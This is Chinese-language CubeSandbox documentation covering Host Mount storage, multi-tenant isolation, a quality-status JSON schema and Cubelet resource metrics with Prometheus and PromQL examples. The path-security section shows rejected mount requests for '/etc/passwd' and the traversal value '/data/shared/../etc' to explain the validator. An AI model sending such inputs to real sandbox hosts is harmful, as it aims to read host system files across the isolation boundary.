https://cubesandbox.com/zh/guide/performance-benchmark.md --- # 性能测试 详细的性能基准测试报告： * [CubeSandbox 核心操作性能基准测试报告](../blog/posts/2026-06-01-cubesandbox-perf-benchmark.md) * [CubeSandbox PVM 云服务器核心操作性能基准测试报告](../blog/posts/2026-06-03-cubesandbox-perf-benchmark-pvm.md) --- --- url: https://cubesandbox.com/zh/guide/persistent-storage.md --- # 持久化存储（Host Mount） Cube Sandbox 运行在轻量级 MicroVM 内，默认情况下沙箱内写入的所有数据都是**临时的**，沙箱销毁后即消失。**Host Mount（宿主机挂载）** 是 Cube 特有的扩展能力，它将沙箱宿主机节点上的目录绑定挂载到沙箱内部，无需复制文件即可实现持久化、共享的存储。 ## 概念模型 ```mermaid flowchart LR subgraph Host["沙箱宿主机节点"] HostModels["/data/shared/models"] HostOutput["/data/shared/output"] subgraph VM["KVM MicroVM（沙箱）"] VMModels["内部目录<br/>/models"] VMOutput["内部目录<br/>/output"] end HostModels -->|"只读映射"| VMModels HostOutput -->|"读写映射"| VMOutput end ``` Host Mount 将**沙箱宿主机节点上的绝对路径**映射到**沙箱 VM 内的路径**。读写挂载的变更在两侧立即可见——无需同步、无需上传、零延迟。 ## 使用场景 Host Mount 适合让沙箱直接访问宿主机上的已有数据，或将沙箱产生的数据保留在宿主机上。典型场景包括： * **共享数据集和模型权重**：以只读方式挂载大型数据目录，供同一节点上的多个沙箱复用，无需重复复制。 * **持久化任务输出**：以读写方式挂载输出目录，使日志、构建产物和计算结果在沙箱销毁后仍然保留。 * **复用源码工作区**：将代码仓库挂载到沙箱中，供开发、构建、测试或代码分析任务直接使用。 * **共享依赖与缓存**：复用宿主机上的依赖包、工具链或构建缓存，减少重复下载和初始化时间。 > Host Mount 适合节点上已有目录的快速共享，针对跨沙箱生命周期管理的云存储场景，可以考虑使用**用户级持久卷**并接入 COS/NFS 等后端，请参阅 [Volume 插件开发指南](./volume-plugin.md)。 ## 快速开始 在沙箱宿主机节点上准备目录： ```bash sudo mkdir -p /data/shared/rw /data/shared/ro echo "hello from host" | sudo tee /data/shared/ro/greeting.txt sudo chown -R 1000:1000 /data/shared/rw ``` ### 创建带 Host Mount 的沙箱 Host Mount 通过 `Sandbox.create()` 的 `metadata` 字段中的 `host-mount` 键来指定。值为 **JSON 编码的数组**，每个元素是一个挂载描述符，支持同时指定多个挂载： 每个挂载描述符都必须包含三个字段：`hostPath` 是沙箱宿主机节点上的绝对路径，且必须位于允许的目录前缀下；`mountPath` 是沙箱 VM 内的目标路径；`readOnly` 用于设置访问模式，`true` 表示只读，`false` 表示读写。 ```python import json import os from cubesandbox import Sandbox with Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={ "host-mount": json.dumps([ { "hostPath": "/data/shared/rw", "mountPath": "/mnt/rw", "readOnly": False, }, { "hostPath": "/data/shared/ro", "mountPath": "/mnt/ro", "readOnly": True, }, ]) }, ) as sandbox: result = sandbox.commands.run("ls /mnt/rw /mnt/ro") print("mount contents:", result.stdout.strip()) ``` 预期输出： ``` mount contents: /mnt/ro: greeting.txt /mnt/rw: ``` ### 写入沙箱销毁后仍保留的数据 ```python import json from cubesandbox import Sandbox import os mounts = json.dumps([ {"hostPath": "/data/shared/rw", "mountPath": "/mnt/rw", "readOnly": False}, ]) with Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={"host-mount": mounts}, ) as sandbox: sandbox.commands.run("echo 'persist data' > /mnt/rw/output.txt") ``` ```bash # 沙箱已销毁，但文件保留在宿主机上： $ cat /data/shared/rw/output.txt persist data ``` ## Host Mount 沙箱的快照 Host Mount 是对宿主机目录的**外部引用**。创建 Snapshot 时，Cube 只保存 VM 的内存、根文件系统状态和挂载配置，不会把 `hostPath` 中的文件复制进 Snapshot。因此，宿主目录中的数据始终保持独立，并遵循以下语义： * **Pause / Resume 和 FromSnap**：恢复时会沿用原来的挂载配置，并在源节点重新挂载相同的 `hostPath`。带 Host Mount 的沙箱会固定在源节点，不会跨节点恢复；如果源节点不可用或宿主目录不存在，恢复将失败。 * **Rollback**：VM 内存以及 Host Mount 路径之外的根文件系统状态会回到 Snapshot 创建时的状态，但 Host Mount 中的数据不会回滚。Snapshot 创建后在宿主目录中新增、修改或删除的文件仍保持最新状态。 * **Clone**：每个克隆拥有独立的 VM 状态，但会引用相同的宿主目录。任一沙箱对读写挂载所做的修改都可通过共享目录被源沙箱和其他克隆访问，具体一致性遵循底层文件系统语义；只读挂载在克隆中仍保持只读。 * **销毁沙箱或删除 Snapshot**：不会删除 Host Mount 指向的宿主目录及其文件。 ::: warning 并发写入 FromSnap 或 Clone 可能使多个运行中的沙箱同时访问同一个读写 `hostPath`。Host Mount 不会自动提供锁、版本控制或写入冲突协调；应用需要自行保证并发访问安全，也可以使用底层文件系统支持的锁机制。 ::: ## 路径安全限制 出于安全考虑，`hostPath` 被限制在一组**允许的目录前缀**之内。默认情况下，只有 `/data/shared/` 下的路径被允许。尝试挂载该范围之外的路径会在**沙箱创建时被拒绝**。 ::: warning `hostPath` 指的是**运行沙箱的宿主机节点**的文件系统路径，而不是执行 SDK 脚本的机器。如果你从远程机器调用 API，请确保该路径存在于沙箱宿主机节点上，而不是你的本地电脑上。 ::: ### 默认行为 开箱即用时，只有如下路径合法： ```python # ✅ 允许 {"hostPath": "/data/shared/models", "mountPath": "/models", "readOnly": True} {"hostPath": "/data/shared/team-a/output", "mountPath": "/output", "readOnly": False} # ❌ 被拒绝 {"hostPath": "/etc/passwd", "mountPath": "/mnt/x", "readOnly": True} {"hostPath": "/tmp/data", "mountPath": "/mnt/data", "readOnly": False} {"hostPath": "/data/shared/../etc", "mountPath": "/mnt/x", "readOnly": True} # 路径穿越被阻止 ``` ### 错误响应 如果指定了不允许的路径，SDK 会抛出 `ApiError` 异常： ```python from cubesandbox import Sandbox from cubesandbox import ApiError import os import json try: sandbox = Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={"host-mount": json.dumps([ {"hostPath": "/etc/passwd", "mountPath": "/mnt/x", "readOnly": True} ])} ) except ApiError as e: print(e.status_code) # 400 print(str(e)) # CubeMaster returned error code 130400: "host-mount" entry[0]: hostPath "/etc/passwd" is not within an allowed mount prefix ``` ### 自定义允许的前缀 集群管理员可在 CubeMaster 配置文件中添加额外的允许前缀： ```yaml extra_conf: allowed_host_mount_prefixes: - "/data/shared/" - "/data/team-assets/" - "/mnt/nfs/datasets/" ``` 列表为空或未配置时，默认值为 `["/data/shared/"]`。根路径 `/` 被明确禁止——如果出现在列表中，CubeMaster 将拒绝启动。 > CubeMaster 会先通过 `filepath.Clean` 规范化 `hostPath`，消除 `..` 等路径成分，再使用带末尾 `/` 的目录前缀进行匹配，避免 `/data/shared_evil` 之类的路径伪装成 `/data/shared/` 的子目录。CubeMaster 启动时还会拒绝将根目录 `/` 配置为允许前缀，防止整个宿主机文件系统被意外暴露。 > > 无论挂载请求来自 CubeAPI 传递的 annotation，还是直接指定的 volume 路径，都会执行相同的路径校验，避免通过不同入口绕过限制。 ## 权限管理 Host Mount 保留宿主目录原始的所有者和权限位。`readOnly` 标志只控制 Cube 是否以只读模式挂载，**不会**覆盖 Linux 文件权限。 如果沙箱用户的 UID 与宿主目录 owner 不匹配，写入会报 `Permission denied`。快速解决： ```bash # 将目录 owner 对齐为沙箱用户 sudo chown 1000:1000 /data/shared/rw ``` 其他方案（只读挂载、POSIX ACL、root 执行等）详见 [Host Mount 权限排障](./troubleshooting/host-mount-permissions.md)。 ## 多节点集群：共享存储 Host Mount 是**节点本地的**。在多节点集群中，`hostPath` 必须存在于调度沙箱的那台宿主机节点上。推荐的做法是使用共享存储，将相同的文件系统挂载到所有宿主机节点的统一路径下。 ### NFS 示例 在每台沙箱宿主机节点上挂载 NFS： ```bash # /etc/fstab 添加： nfs-server:/export/shared /data/shared nfs defaults,hard,intr 0 0 ``` ```bash sudo mount -a ls /data/shared # 所有节点看到相同内容 ``` 之后沙箱可直接使用 `/data/shared/` 下的路径，无论调度到哪个节点都能访问到数据。 ### 对象存储（S3/COS）示例 使用 FUSE 工具（如 `s3fs`、`cosfs`）将对象存储桶挂载为本地目录： ```bash # 安装 cosfs（腾讯云 COS） sudo apt-get install cosfs # 配置凭证 echo "my-bucket:AKIDxxxx:xxxxxx" > /etc/passwd-cosfs chmod 600 /etc/passwd-cosfs # 挂载到 /data/shared cosfs my-bucket /data/shared -ourl=https://cos.ap-guangzhou.myqcloud.com \ -oallow_other -ouid=1000 -ogid=1000 ``` ```bash # AWS S3 使用 s3fs s3fs my-bucket /data/shared \ -o iam_role=auto \ -o url=https://s3.amazonaws.com \ -o allow_other -o uid=1000 -o gid=1000 ``` ::: tip 对象存储挂载适合只读场景（模型权重、数据集）。写入性能和 POSIX 兼容性不如 NFS，频繁小文件写入建议使用 NFS 或块存储。 ::: ## 多租户隔离 在多租户场景下，每个租户应只能访问自己的数据目录，不能看到或操作其他租户的文件。推荐的做法是利用目录结构 + 应用层控制实现租户间隔离。 ### 目录规划 按租户 ID 划分子目录： ``` /data/shared/ ├── tenant-a/ │ ├── datasets/ │ └── output/ ├── tenant-b/ │ ├── datasets/ │ └── output/ └── tenant-c/ └── ... ``` 每个租户的沙箱只挂载属于自己的子目录： ```python import json import os from cubesandbox import Sandbox tenant_id = "tenant-a" mounts = json.dumps([ { "hostPath": f"/data/shared/{tenant_id}/datasets", "mountPath": "/datasets", "readOnly": True, }, { "hostPath": f"/data/shared/{tenant_id}/output", "mountPath": "/output", "readOnly": False, }, ]) with Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={"host-mount": mounts}, ) as sandbox: sandbox.commands.run("ls /datasets /output") ``` 租户 A 的沙箱只能看到 `/data/shared/tenant-a/` 下的内容，无法访问 `tenant-b` 或 `tenant-c` 的目录。 ### 应用层强制隔离 在调用 `Sandbox.create()` 的业务代码中，根据当前认证用户的租户信息拼接 `hostPath`，**禁止用户自行传入任意路径**： ```python def create_tenant_sandbox(tenant_id: str, template_id: str): """由平台侧控制挂载路径，租户无法指定任意 hostPath。""" base = f"/data/shared/{tenant_id}" mounts = json.dumps([ {"hostPath": f"{base}/input", "mountPath": "/input", "readOnly": True}, {"hostPath": f"{base}/output", "mountPath": "/output", "readOnly": False}, ]) return Sandbox.create( template=template_id, metadata={"host-mount": mounts}, ) ``` ### 文件系统权限加固（可选） 结合 Linux 权限进一步确保隔离性——即使路径被绕过，操作系统层面也拒绝越权访问： ```bash # 为每个租户创建独立目录，使用不同的 UID 或 GID sudo mkdir -p /data/shared/tenant-a /data/shared/tenant-b sudo chown 1001:1001 /data/shared/tenant-a sudo chown 1002:1002 /data/shared/tenant-b sudo chmod 0700 /data/shared/tenant-a sudo chmod 0700 /data/shared/tenant-b ``` 这样即使某个沙箱尝试越权访问（通过路径穿越等方式），也会被 CubeMaster 的路径校验和操作系统权限双重拦截。 ### 隔离层次总结 | 层次 | 机制 | 作用 | | -------- | -------------------------------------------------- | ------------------------------ | | 目录规划 | 按租户 ID 划分独立子目录，每个沙箱只挂载本租户路径 | 结构上隔离数据，租户间互不可见 | | 应用层 | 平台代码拼接路径，不信任用户输入 | 正常场景下的租户隔离 | | 操作系统 | 目录 owner/mode 权限 | 兜底防护，防止任何绕过 | ## 嵌套挂载：共享可读、写入范围独立 当一个挂载的 `mountPath` 位于另一个挂载的子目录下时，这两个挂载构成嵌套挂载。它适用于一组沙箱共享同一个工作区、但每个沙箱只能写入自己子目录的场景。这里的“组”可以是 Agent Team、项目、部门或租户；Cube Sandbox 本身不负责管理这些成员关系。 例如，一个 Agent Team 可以使用下面的宿主机目录结构： ```text /data/shared/tenant-a/team-blue/ ├── shared-input.txt └── members/ ├── agent-a/ └── agent-b/ ``` Agent A 以只读方式挂载共享工作区，再把自己的目录嵌套挂载为读写： ```python import json mounts = json.dumps([ { "hostPath": "/data/shared/tenant-a/team-blue", "mountPath": "/workspace", "readOnly": True, }, { "hostPath": "/data/shared/tenant-a/team-blue/members/agent-a", "mountPath": "/workspace/members/agent-a", "readOnly": False, }, ]) ``` Agent B 使用相同的只读父挂载，只把 `members/agent-b` 挂载为读写。各 Agent 可以使用不同的沙箱模板，存储目录和访问模式不需要因此改变。 | Agent A 可见的路径 | 可读 | 可写 | 原因 | | ----------------------------- | ---- | ---- | --------------------------------- | | `/workspace/shared-input.txt` | 是 | 否 | 来自共享的只读父挂载 | | `/workspace/members/agent-a/` | 是 | 是 | 该位置被 Agent A 的读写子挂载替换 | | `/workspace/members/agent-b/` | 是 | 否 | 仍然来自共享的只读父挂载 | | 其他租户的工作区 | 否 | 否 | 对应宿主机路径没有挂载到当前沙箱 | 这是一种**共享可读、写入范围独立**的模型。“写入范围独立”表示只有指定沙箱会获得该目录的可写挂载；如果只读父挂载暴露了这个目录，并不代表其他成员无法读取它。 ### 挂载语义和约束 * AppSnapshot 恢复时，无论描述符按什么顺序传入，Cubelet 都会先应用父目标路径，再应用嵌套的子目标路径，避免后挂载的父目录遮住已经挂载的子目录。无关路径也会使用确定的顺序，但这个顺序不表示它们存在父子关系。 * 子挂载会在对应子树位置遮住父挂载；两个目录视图不会合并。子挂载生效期间，父挂载在该位置原有的文件会被隐藏。 * `readOnly` 对每个挂载独立生效，但仍需满足 Linux 的 UID、GID、mode 和 ACL 权限。即使子挂载是读写模式，如果宿主机权限不允许沙箱用户写入，仍会返回 `Permission denied`。 * 推荐使用一个只读父挂载和明确的读写子挂载。避免重复目标路径或相互重叠的读写挂载，否则目录归属和最终可见结果会变得难以判断。 * `mountPath` 应使用不含 `.` 或 `..` 路径段的规范绝对路径。不要依赖输入顺序处理相互重叠的目标路径。 * Host Mount 是节点本地的，并且数据位于沙箱快照之外。带 raw host mount 的 Snapshot FromSnap 和 Pause/Resume 会固定在源节点；其他节点上的同名路径不会被视为同一份存储。如需可移植的跨机快照恢复，应使用由所有候选节点都能 Attach 的共享存储所支持的 Plugin Volume。 ::: warning 鉴权边界 调用 `Sandbox.create()` 的平台必须根据已经认证的沙箱归属主体和适用的组边界（如租户、团队或项目）生成 `hostPath`。不要接受用户任意传入的宿主机路径，也不要把 `/data/shared/tenants/` 之类的全局根目录挂载到某个租户的沙箱中：只读挂载只能阻止写入，不能阻止该沙箱读取其他租户的数据。 ::: ## 最佳实践 * **输入数据优先使用只读挂载**（数据集、模型、配置文件等）。这可以防止沙箱意外写入，是最安全的默认选项。 * **为读写挂载使用专用目录**。避免挂载 `/` 或 `/home` 等范围过大的路径，创建专用目录（如 `/data/shared/output`）并只挂载它。 * **尽早检查权限**。在沙箱内运行 `id` 和 `stat` 确认有效 UID 与宿主目录所有者一致，再依赖写入操作。 * **定期清理输出目录**。宿主机上的输出目录会跨沙箱会话累积文件——与沙箱不同，它们不会在沙箱销毁时自动清理。 * **保持允许前缀尽量窄**。只向 `allowed_host_mount_prefixes` 添加具体的受信路径。不要添加 `/data/` 这样的顶层路径，优先使用更深的路径如 `/data/shared/`。 ## 故障排查 | 现象 | 可能原因 | 解决方法 | | ------------------------------------------------------ | ---------------------------------- | --------------------------------------------------------------------------------------- | | `hostPath "..." is not within an allowed mount prefix` | 路径不在允许的前缀范围内 | 将数据放到 `/data/shared/` 下，或在 CubeMaster 配置中更新 `allowed_host_mount_prefixes` | | 沙箱内 `No such file or directory` | 沙箱宿主机节点上 `hostPath` 不存在 | 在运行前在节点上创建目录 | | 写入时 `Read-only file system` | 使用了 `readOnly: true` 挂载 | 改为 `readOnly: false` | | 写入时 `Permission denied` | 宿主目录所有者与沙箱用户不匹配 | 参见上方[权限管理](#权限管理) | | `Template not found` | 模板 ID 错误 | 运行 `cubemastercli tpl list` 确认 | | `Connection refused` | CubeAPI 不可达 | 检查 `E2B_API_URL` 及端口 3000 是否开放 | ## 参考 * 示例代码：[`examples/host-mount/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/host-mount) * 相关 issue：[#239](https://github.com/TencentCloud/CubeSandbox/issues/239) --- --- url: https://cubesandbox.com/zh/guide/quality-status.md --- ## 数据源 本页默认从腾讯云 COS JSON 对象动态加载最新公开 nightly 状态：`https://cubesandbox-1253970226.cos.ap-singapore.myqcloud.com/page-data/quality-status.json`。 如需在其他部署中覆盖数据源，可以配置 `VITE_QUALITY_STATUS_JSON_URL` 或 `QUALITY_STATUS_JSON_URL`。 浏览器端实时刷新需要 COS 对象允许文档站域名跨域 `GET` 请求。文档构建保持离线安全，只有设置 `QUALITY_STATUS_JSON_PATH` 时才会内置本地预览数据。 本地预览时，可以使用 `QUALITY_STATUS_JSON_PATH` 指向同一公开 schema 的 JSON 文件。 只应发布聚合后的 nightly E2E 和性能数据。不要在公开 JSON 中包含内部环境 ID、run ID、日志、凭据或私有 Web UI 链接。 ## JSON 约定 公开 JSON 对象应包含以下顶层字段： ```json { "generatedAt": "2026-09-14T17:30:00+08:00", "date": "2026-09-14", "commit": "ba77166b93fa995837a4bca0ae33b51d69c0494c", "status": "passed", "e2e": { "status": "passed", "tests": { "total": 128, "passed": 126, "failed": 0, "errors": 0, "skipped": 2 }, "modules": [{ "module": "lifecycle", "total": 32, "passed": 32, "failed": 0, "errors": 0, "skipped": 0 }] }, "performance": { "status": "passed", "baseline": { "name": "v0.3.0 baseline", "url": "https://cubesandbox.com/blog/posts/2026-06-01-cubesandbox-perf-benchmark", "url_zh": "https://cubesandbox.com/zh/blog/posts/2026-06-01-cubesandbox-perf-benchmark" }, "counts": { "critical": 0, "warning": 1, "similar": 8, "improved": 2 }, "metrics": [{ "label": "3.2 Sandbox Create Latency", "current_text": "1.24s", "baseline_text": "1.31s", "delta_pct": -5.3, "verdict": "improved" }] } } ``` Status 页面会按当前语言选择基线链接。中文页优先使用 `baseline.url_zh`，英文页优先使用 `baseline.url` 或 `baseline.url_en`。如果 JSON 只有一个 URL，页面会改写已知的官网和 GitHub 文档路径（`cubesandbox.com/guide/...` ↔ `/zh/guide/...`，以及 GitHub `docs/blog/posts/...` ↔ `docs/zh/blog/posts/...`）。 --- --- url: https://cubesandbox.com/zh/guide/resource-metrics.md --- # 沙箱资源指标 Cubelet 为运行中的 Cube 沙箱提供 CPU 和内存指标。一键安装默认启用该功能，指标端点为： ```text http://<cubelet-node>:9998/v1/metrics/resource ``` 该端点与 Cubelet 通用指标端点 `/v1/metrics` 相互独立。`/v1/metrics` 不导出通用 `container_*` 指标。本文的沙箱指标单独采集，由 `/v1/metrics/resource` 提供。 Cubelet 在后台定期采集所选统计视角的资源数据，并将最新结果缓存在内存中。Prometheus 抓取时只读取缓存，不会在 HTTP 请求过程中同步访问所有沙箱。因此，抓取请求不会额外触发与沙箱数量成比例的运行时 RPC；但响应体大小和序列化开销仍会随时间序列数量增长。 ::: warning 网络访问 Cubelet 的 HTTP 服务本身不提供鉴权或 TLS。 仅应在可信的管理网络中开放 `9998` 端口，或通过防火墙、安全组等方式限制访问来源。详见[网络加固](./network-hardening.md)。 ::: ## 使用前提 * 资源指标仅面向运行中的 Cube 沙箱。沙箱暂停、终止或删除后，对应指标会停止导出。 * 当前版本面向单容器沙箱，主工作负载使用 `container_id == sandbox_id`。暂不提供多容器级别的资源拆分。 * `guest_workload` 要求沙箱内的 `cube-agent` 支持资源指标能力版本 `1`，并使用 cgroup v2 统一层级。 * `host_sandbox` 只依赖宿主机上的沙箱 cgroup，兼容范围更广，也是默认采集和导出的统计视角。 ## 资源统计视角 资源指标提供两个彼此独立的统计视角： | 统计视角 | 统计范围 | 适用场景 | | ---------------- | ------------------------------------------------------------ | ------------------------------------------ | | `host_sandbox` | 宿主机内核统计的沙箱 cgroup，包含 CubeShim、VMM 及其他宿主机侧资源占用。 | 宿主机侧沙箱资源记账和基础运维观测。 | | `guest_workload` | 沙箱内核统计的工作负载容器 cgroup，不包含 `cube-agent` 等沙箱管理进程。 | 用户代码的 CPU、内存使用率和内存限制观测。 | | `all` | 同时导出以上两组指标。 | 同时分析工作负载使用量和运行时开销。 | ::: tip 如何选择 * 只需要节点侧基础观测时，使用默认的 `host_sandbox`。 * 需要判断沙箱内工作负载的资源使用率或内存压力时，使用 `guest_workload`。 * 需要对比工作负载与运行时开销时，使用 `all`。 ::: 两组指标来自不同的资源记账范围，**不应直接相加为一个通用总量**。 `host_sandbox` 的内存值是宿主机 cgroup 的记账值，会受到共享快照页和写时复制（COW）的影响，并不等同于沙箱内看到的逻辑工作集或按比例分摊的物理内存。由于 VMM 开销、共享页和私有 COW 页等因素，`host_sandbox` 与 `guest_workload` 的内存值通常不会相等。 ## 工作原理 所有采集都由宿主机上的 Cubelet 主动发起，沙箱不会主动向宿主机推送指标。 ### `host_sandbox` Cubelet 直接读取宿主机上的沙箱 cgroup。该视角不依赖模板中的 `cube-agent` 版本，也不涉及沙箱内的统计周期。 宿主机侧指标继续使用节点自身的 cgroup 层级，并保留项目现有的 cgroup v1 和 cgroup v2 兼容逻辑。 ### `guest_workload` Cubelet 通过 containerd `Task.Stats` 调用 CubeShim，再由 CubeShim 调用沙箱内的 `cube-agent StatsContainer`，读取工作负载容器 cgroup。 该视角依赖以下能力： * 沙箱内启用 cgroup v2 统一层级； * `cube-agent` 声明资源指标能力版本 `1`； * CubeShim 能够通过 `Task.Stats` 返回完整的工作负载统计； * Cubelet 能够根据沙箱生命周期维护统计周期和计数器基线。 CubeShim 会在启动沙箱时通过 `agent.unified_cgroup_hierarchy=true` 为 `cube-agent` 启用 cgroup v2 统一层级。 旧模板中的 `cube-agent` 可能不支持上述能力。这类沙箱不会导出 `guest_workload`，但仍可导出 `host_sandbox`。 ## Cubelet 配置 通过一键安装部署后，Cubelet 配置文件位于： ```text /usr/local/services/cubetoolbox/Cubelet/config/config.toml ``` 资源指标插件的默认配置如下： ```toml [plugins."io.cubelet.internal.v1.resource-metrics"] enabled = true collection_interval = "5s" request_timeout = "2s" max_concurrent_requests = 8 stale_after = "15s" export_scopes = ["host_sandbox"] ``` ### 配置项说明 | 配置项 | 说明 | | ------------------------- | ------------------------------------------------------------ | | `enabled` | 是否启动资源指标采集，默认启用。设置为 `false` 后，端点仍返回 HTTP 200，但不会导出沙箱资源指标。 | | `collection_interval` | Cubelet 更新内存缓存的目标间隔。该配置决定 `Task.Stats` RPC 和宿主机 cgroup 的读取频率，与 Prometheus 抓取间隔相互独立。 | | `request_timeout` | 单次 `Task.Stats` 请求或宿主机 cgroup 读取的超时时间。 | | `max_concurrent_requests` | 单个采集器的最大并发请求数。`guest_workload` 和 `host_sandbox` 分别使用该上限，两者的并发上限相互独立。 | | `stale_after` | 最近一次成功样本超过该时长后，停止导出对应统计视角。该值不得小于 `collection_interval`，并应为调度和短暂采集失败预留余量。 | | `export_scopes` | 控制采集和导出的统计视角。可设置为 `["host_sandbox"]`、`["guest_workload"]` 或 `["all"]`，默认值为 `["host_sandbox"]`。未选中的采集器不会启动；`["all"]` 会启动两个采集器。 | 发生短暂采集失败时，Cubelet 会继续导出最近一次成功样本。只有样本年龄超过 `stale_after` 后，对应统计视角才会停止导出。 配置校验失败会导致 Cubelet 启动失败，例如： * `stale_after` 小于 `collection_interval`； * `export_scopes` 包含不支持的值。 修改配置后，重启 Cubelet： ```bash sudo systemctl restart cube-sandbox-cubelet.service ``` ## Prometheus 抓取配置 建议为沙箱资源指标配置独立的抓取任务： ```yaml scrape_configs: - job_name: cubesandbox-resource scrape_interval: 30s scrape_timeout: 10s metrics_path: /v1/metrics/resource static_configs: - targets: - <compute-node-ip>:9998 ``` 将目标地址替换为各 Cubelet 节点在可信管理网络中的地址。 使用独立抓取任务后，可以单独调整资源指标的抓取间隔、超时时间和 `metric_relabel_configs`，而不会影响 Cubelet 通用指标。 资源指标端点最多同时处理两个抓取请求。超过该上限的请求会返回 HTTP 503，以避免多个大响应同时占用 Cubelet 的 CPU 和内存。正常的单个 Prometheus 抓取任务不会触发该限制；如果出现 503，应检查是否有多个 Prometheus 实例或手工请求同时抓取同一节点。 ### 验证指标端点 先确认 Cubelet 正常运行，并且节点上至少有一个状态为 `Up` 的沙箱： ```bash sudo systemctl is-active cube-sandbox-cubelet.service /usr/local/services/cubetoolbox/Cubelet/bin/cubecli cubebox ls -a --no-trunc ``` 等待至少一个采集周期后，在 Cubelet 节点上执行： ```bash curl -fsS http://127.0.0.1:9998/v1/metrics/resource | \ grep '^cubesandbox_' ``` 默认配置会导出 `cubesandbox_host_sandbox_*` 指标。 需要导出 `guest_workload` 时： 1. 将 `export_scopes` 设置为 `["guest_workload"]` 或 `["all"]`； 2. 重启 Cubelet； 3. 确认沙箱内的 `cube-agent` 兼容资源指标能力版本 `1`。 端点返回 HTTP 200 但响应体为空不一定表示故障。以下情况都会产生空结果： * 节点上没有运行中的沙箱； * 插件已禁用； * Cubelet 尚未完成首次采样。 ## 基础指标族 Cubelet 仅导出 Counter 和 Gauge 类型的基础指标。CPU 使用核数以及 CPU、内存使用率等派生值由 Prometheus 查询计算。 CPU 和内存上限仅在 cgroup 配置了有限值时导出。未配置上限时，不会使用 `0` 或某个极大值代替。当前内存用量不受此限制，只要对应统计视角可用就会导出。 ### `host_sandbox` 指标 `host_sandbox` 指标仅包含 `sandbox_id` 标签。 累计指标只包含当前沙箱占用宿主机 cgroup 期间的使用量，不包含可复用 cgroup 槽位中上一个沙箱的历史。 | 指标 | 类型 | 单位与说明 | | ------------------------------------------------------ | ------- | ---------------------------------------------------- | | `cubesandbox_host_sandbox_cpu_usage_seconds_total` | Counter | 沙箱在宿主机上累计使用的 CPU 秒数。 | | `cubesandbox_host_sandbox_cpu_user_seconds_total` | Counter | 累计使用的用户态 CPU 秒数。 | | `cubesandbox_host_sandbox_cpu_system_seconds_total` | Counter | 累计使用的内核态 CPU 秒数。 | | `cubesandbox_host_sandbox_cpu_throttled_seconds_total` | Counter | 累计受到 CPU 限流的秒数。 | | `cubesandbox_host_sandbox_cpu_periods_total` | Counter | 累计 CPU 调度周期数。 | | `cubesandbox_host_sandbox_cpu_throttled_periods_total` | Counter | 累计发生限流的 CPU 调度周期数。 | | `cubesandbox_host_sandbox_cpu_limit_cores` | Gauge | 宿主机沙箱 cgroup 的有限 CPU 上限，单位为 CPU 核数。 | | `cubesandbox_host_sandbox_memory_current_bytes` | Gauge | 当前计入宿主机沙箱 cgroup 的内存字节数。 | | `cubesandbox_host_sandbox_memory_limit_bytes` | Gauge | 宿主机沙箱 cgroup 的有限内存上限，单位为字节。 | | `cubesandbox_host_sandbox_memory_failures_total` | Counter | 当前沙箱占用该 cgroup 期间发生的内存限制失败次数。 | ### `guest_workload` 指标 `guest_workload` 指标包含以下标签： * `sandbox_id` * `container_id` 累计指标以当前统计周期（metrics epoch）为窗口，不包含模板、克隆或回滚继承的历史。统计周期的生命周期语义见后文。 | 指标 | 类型 | 单位与说明 | | ------------------------------------------------------------ | ------- | -------------------------------------------------- | | `cubesandbox_guest_workload_cpu_usage_seconds_total` | Counter | 累计使用的 CPU 秒数。 | | `cubesandbox_guest_workload_cpu_user_seconds_total` | Counter | 累计使用的用户态 CPU 秒数。 | | `cubesandbox_guest_workload_cpu_system_seconds_total` | Counter | 累计使用的内核态 CPU 秒数。 | | `cubesandbox_guest_workload_cpu_throttled_seconds_total` | Counter | 累计受到 CPU 限流的秒数。 | | `cubesandbox_guest_workload_cpu_periods_total` | Counter | 累计 CPU 调度周期数。 | | `cubesandbox_guest_workload_cpu_throttled_periods_total` | Counter | 累计发生限流的 CPU 调度周期数。 | | `cubesandbox_guest_workload_cpu_limit_cores` | Gauge | 配置的有限 CPU 上限，单位为 CPU 核数。 | | `cubesandbox_guest_workload_memory_current_bytes` | Gauge | 当前计入工作负载 cgroup 的内存字节数。 | | `cubesandbox_guest_workload_memory_limit_bytes` | Gauge | 配置的有限内存上限，单位为字节。 | | `cubesandbox_guest_workload_memory_failures_total` | Counter | 当前统计周期内发生的内存限制失败次数。 | | `cubesandbox_guest_workload_metrics_epoch` | Gauge | 当前统计周期的序号。 | | `cubesandbox_guest_workload_metrics_epoch_start_time_seconds` | Gauge | 当前统计周期的开始时间，使用 Unix 时间戳秒数表示。 | ## PromQL 示例 ### 宿主机侧 CPU 使用核数 以下查询返回沙箱在宿主机侧平均使用的 CPU 核数，其中包含 VMM 和 CubeShim 等运行时开销： ```promql rate(cubesandbox_host_sandbox_cpu_usage_seconds_total[5m]) ``` ### 宿主机侧 CPU 使用率 以下查询以宿主机沙箱 cgroup 配置的有限 CPU 上限为分母计算使用率： ```promql 100 * rate(cubesandbox_host_sandbox_cpu_usage_seconds_total[5m]) / cubesandbox_host_sandbox_cpu_limit_cores ``` 如果未配置有限 CPU 上限，仍可查询实际使用的 CPU 核数，但无法计算具有明确分母的 CPU 使用率。 ### 宿主机侧内存记账值 ```promql cubesandbox_host_sandbox_memory_current_bytes ``` 该值适合观察宿主机 cgroup 当前记到沙箱上的内存，不应解释为沙箱内的逻辑工作集。 共享快照页可能使该值低于 `guest_workload` 的当前内存值；VMM、CubeShim 和私有 COW 页等宿主机侧开销也可能使该值更高。 ### 宿主机侧内存使用率 ```promql 100 * cubesandbox_host_sandbox_memory_current_bytes / cubesandbox_host_sandbox_memory_limit_bytes ``` 当宿主机沙箱 cgroup 未设置有限内存上限时，Cubelet 不会导出 `cubesandbox_host_sandbox_memory_limit_bytes`，因此无法计算基于上限的内存使用率。 ### 工作负载 CPU 使用核数 以下查询返回工作负载在指定时间窗口内平均使用的 CPU 核数： ```promql rate(cubesandbox_guest_workload_cpu_usage_seconds_total[5m]) ``` 例如，查询结果为 `0.5`，表示该工作负载在查询窗口内平均使用了约半个 CPU 核。 ### 工作负载 CPU 使用率 以下查询以工作负载配置的有限 CPU 上限为分母计算使用率： ```promql 100 * rate(cubesandbox_guest_workload_cpu_usage_seconds_total[5m]) / cubesandbox_guest_workload_cpu_limit_cores ``` 如果工作负载未配置有限 CPU 